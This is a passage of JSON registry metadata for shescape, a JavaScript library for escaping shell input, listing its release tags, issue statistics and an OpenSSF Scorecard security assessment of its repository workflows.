ste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"8e0d66f7d69d12c96dce8fc9c539b7d9390dc425","kind":"tag","published_at":"2022-02-08T22:45:54.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.4.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.4.0/manifests"},{"name":"v1.3.3","sha":"ab4ae71c7a5a7d774f75f4d4e01cdab4faac19e5","kind":"tag","published_at":"2022-01-15T17:08:19.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.3.3","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"0cdab39603695fb62e99460bede8fd7bc57bf3a0","kind":"tag","published_at":"2022-01-05T08:48:20.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.3.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"86fc5e4216ba739c6b0b7cdfcc85f963f7df7841","kind":"tag","published_at":"2021-12-06T20:10:25.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.3.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"4e449684b78fc804ad7a847893cbafc1ea30ef98","kind":"tag","published_at":"2021-12-05T13:41:36.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.3.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"a89709e5382179a3d8258a69b72ccb90d974d432","kind":"tag","published_at":"2021-04-24T17:39:41.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.2.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"76d566c9628c7e1ca80f54d21d7dbcefae6b685b","kind":"tag","published_at":"2021-04-15T11:19:30.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.2.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.2.0/manifests"},{"name":"v1.1.3","sha":"0c934a612c9399c178e0053808f4c6929e866b9d","kind":"tag","published_at":"2021-03-13T16:29:55.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.1.3","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.3/manifests"},{"name":"v1.1.2","sha":"d9caf7626550a9f7b246337e543a24f97deb75e3","kind":"tag","published_at":"2021-01-07T12:55:27.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.1.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"bd58b3f036ce6c6ea75103d6f683bea724503042","kind":"tag","published_at":"2020-12-30T13:34:42.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.1.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"06997e903a45d37721a5feb004c5b0369b0cc6e8","kind":"tag","published_at":"2020-12-22T18:59:02.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.1.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"337512df34ac42d1b8cfeb52a1d78b9db3ca84f4","kind":"tag","published_at":"2020-12-10T18:02:04.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.0.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.0.0/manifests"},{"name":"v0.4.1","sha":"bf697d36bba5bbf187ca262198bc9968d7760f74","kind":"tag","published_at":"2020-12-09T22:19:10.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.4.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"8bf2573dd8a71f36df09ac9c495bb12f9ef65200","kind":"tag","published_at":"2020-12-08T21:42:25.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.4.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"15ccb783c5f39651b4f9e1bc37cce1708488883f","kind":"tag","published_at":"2020-12-07T15:12:51.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.3.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"34a0f97bfe407b0693fcf94e482fd630bd4c1cb4","kind":"tag","published_at":"2020-12-07T14:48:44.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.3.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.3.0/manifests"},{"name":"v0.2.1","sha":"1c2db9b3603ac34633d15068c148c9e34c729893","kind":"tag","published_at":"2020-11-07T21:54:07.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.2.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"f859411c5c9e24b19ed2829ff0d24828bcec5db4","kind":"tag","published_at":"2020-11-07T21:49:45.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.2.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"96e7289beed437eccc0808328f82c564d574f895","kind":"tag","published_at":"2020-11-06T09:26:15.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.1.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-21T20:06:08.103Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":4.800272013788652,"dependent_packages_count":4.4978472963531715,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":4.649059655070912},"purl":"pkg:golang/github.com/ericcornelissen/shescape","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/ericcornelissen/shescape","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/ericcornelissen/shescape","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/ericcornelissen/shescape/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-21T16:34:50.994Z","issues_count":66,"pull_requests_count":1897,"avg_time_to_close_issue":18239183.173913043,"avg_time_to_close_pull_request":185817.70641680862,"issues_closed_count":46,"pull_requests_closed_count":1761,"pull_request_authors_count":7,"issue_authors_count":4,"avg_comments_per_issue":1.3181818181818181,"avg_comments_per_pull_request":0.4691618344754876,"merged_pull_requests_count":1102,"bot_issues_count":8,"bot_pull_requests_count":1480,"past_year_issues_count":12,"past_year_pull_requests_count":203,"past_year_avg_time_to_close_issue":1101845.6,"past_year_avg_time_to_close_pull_request":116758.74301675978,"past_year_issues_closed_count":5,"past_year_pull_requests_closed_count":179,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":1.9166666666666667,"past_year_avg_comments_per_pull_request":0.7783251231527094,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":155,"past_year_merged_pull_requests_count":115,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/issues","maintainers":[{"login":"ericcornelissen","count":466,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ericcornelissen"}],"active_maintainers":[{"login":"ericcornelissen","count":59,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ericcornelissen"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fericcornelissen%2Fshescape/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fericcornelissen%2Fshescape/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fericcornelissen%2Fshescape/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fericcornelissen%2Fshescape/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fericcornelissen%2Fshescape/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fericcornelissen%2Fshescape/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2281915,"maintainers_count":0,"namespaces_count":839492,"keywords_count":125216,"github":"golang","metadata":{"funded_packages_count":67974,"sync_missing_packages_cursor":{"timestamp":"2026-08-17T00:00:58.969562Z","path":"github.com/Tektoncd/operator","version":"v0.78.0"},"rate_limit":1},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-08-25T05:01:14.867Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":2356533,"name":"shescape","ecosystem":"npm","description":"simple shell escape library","homepage":"https://github.com/ericcornelissen/shescape#readme","licenses":"MPL-2.0","normalized_licenses":["MPL-2.0"],"repository_url":"https://github.com/ericcornelissen/shescape","keywords_array":["shell","escape","injection"],"namespace":null,"versions_count":68,"first_release_published_at":"2020-11-06T09:26:47.852Z","latest_release_published_at":"2026-08-01T12:53:13.345Z","latest_release_number":"3.0.2","last_synced_at":"2026-08-24T19:21:41.757Z","created_at":"2022-04-10T00:38:36.697Z","updated_at":"2026-08-24T19:21:41.757Z","registry_url":"https://www.npmjs.com/package/shescape","install_command":"npm install shescape","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"next":"2.0.0-rc3","latest":"3.0.2","previous":"2.1.15"},"contentPolicy":null},"repo_metadata":{"id":37528615,"uuid":"309486039","full_name":"ericcornelissen/shescape","owner":"ericcornelissen","description":"Simple shell escape library for JavaScript","archived":false,"fork":false,"pushed_at":"2026-08-21T05:55:33.000Z","size":6636,"stargazers_count":9,"open_issues_count":17,"forks_count":12,"subscribers_count":1,"default_branch":"main","last_synced_at":"2026-08-21T16:36:54.655Z","etag":null,"topics":["command-line","escape-library","security","shell","shell-injection","shell-scripting"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ericcornelissen.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2020-11-02T20:23:47.000Z","updated_at":"2026-08-17T06:24:10.000Z","dependencies_parsed_at":"2026-08-21T16:35:03.553Z","dependency_job_id":"7794674c-2147-44b1-af4e-56ea22e9e777","html_url":"https://github.com/ericcornelissen/shescape","commit_stats":{"total_commits":1303,"total_committers":8,"mean_commits":162.875,"dds":"0.44589409056024554","last_synced_commit":"66512271bf20287aa94173168efee0eb94a0f414"},"previous_names":[],"tags_count":65,"template":false,"template_full_name":null,"purl":"pkg:github/ericcornelissen/shescape","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ericcornelissen","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/sbom","scorecard":{"id":380163,"data":{"date":"2025-08-11","repo":{"name":"github.com/ericcornelissen/shescape","commit":"2fdac057edd01c4938b350cc5cafee7dab004bcd"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":8.1,"checks":[{"name":"Code-Review","score":2,"reason":"Found 3/13 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 15 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/nightly.yml:55","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/publish.yml:53","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/publish.yml:84","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/audit-dev.yml:17","Info: topLevel permissions set to 'read-all': .github/workflows/audit-release.yml:7","Info: topLevel permissions set to 'read-all': .github/workflows/checks.yml:8","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-bash.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-busybox.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-cmd.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-csh.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-dash.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-no-shell-unix.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-no-shell-win.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-powershell.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/fuzz-zsh.yml:21","Info: topLevel permissions set to 'read-all': .github/workflows/labeler.yml:5","Info: topLevel permissions set to 'read-all': .github/workflows/nightly.yml:7","Info: topLevel permissions set to 'read-all': .github/workflows/publish.yml:7","Info: topLevel permissions set to 'read-all': .github/workflows/release.yml:14","Info: topLevel permissions set to 'read-all': .github/workflows/reusable-fuzz.yml:18"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/audit-dev.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/audit-dev.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/audit-dev.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/audit-dev.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/audit-dev.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/audit-dev.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/audit-release.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/audit-release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/checks.yml:86: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:217: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:415: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:154: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:257: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:295: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:322: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:327: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:338: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:358: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:363: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:378: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:396: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/checks.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/checks.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/checks.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/labeler.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nightly.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/nightly.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nightly.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/nightly.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/nightly.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/nightly.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:113: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/publish.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/publish.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/reusable-fuzz.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/reusable-fuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/reusable-fuzz.yml:97: update your workflow using 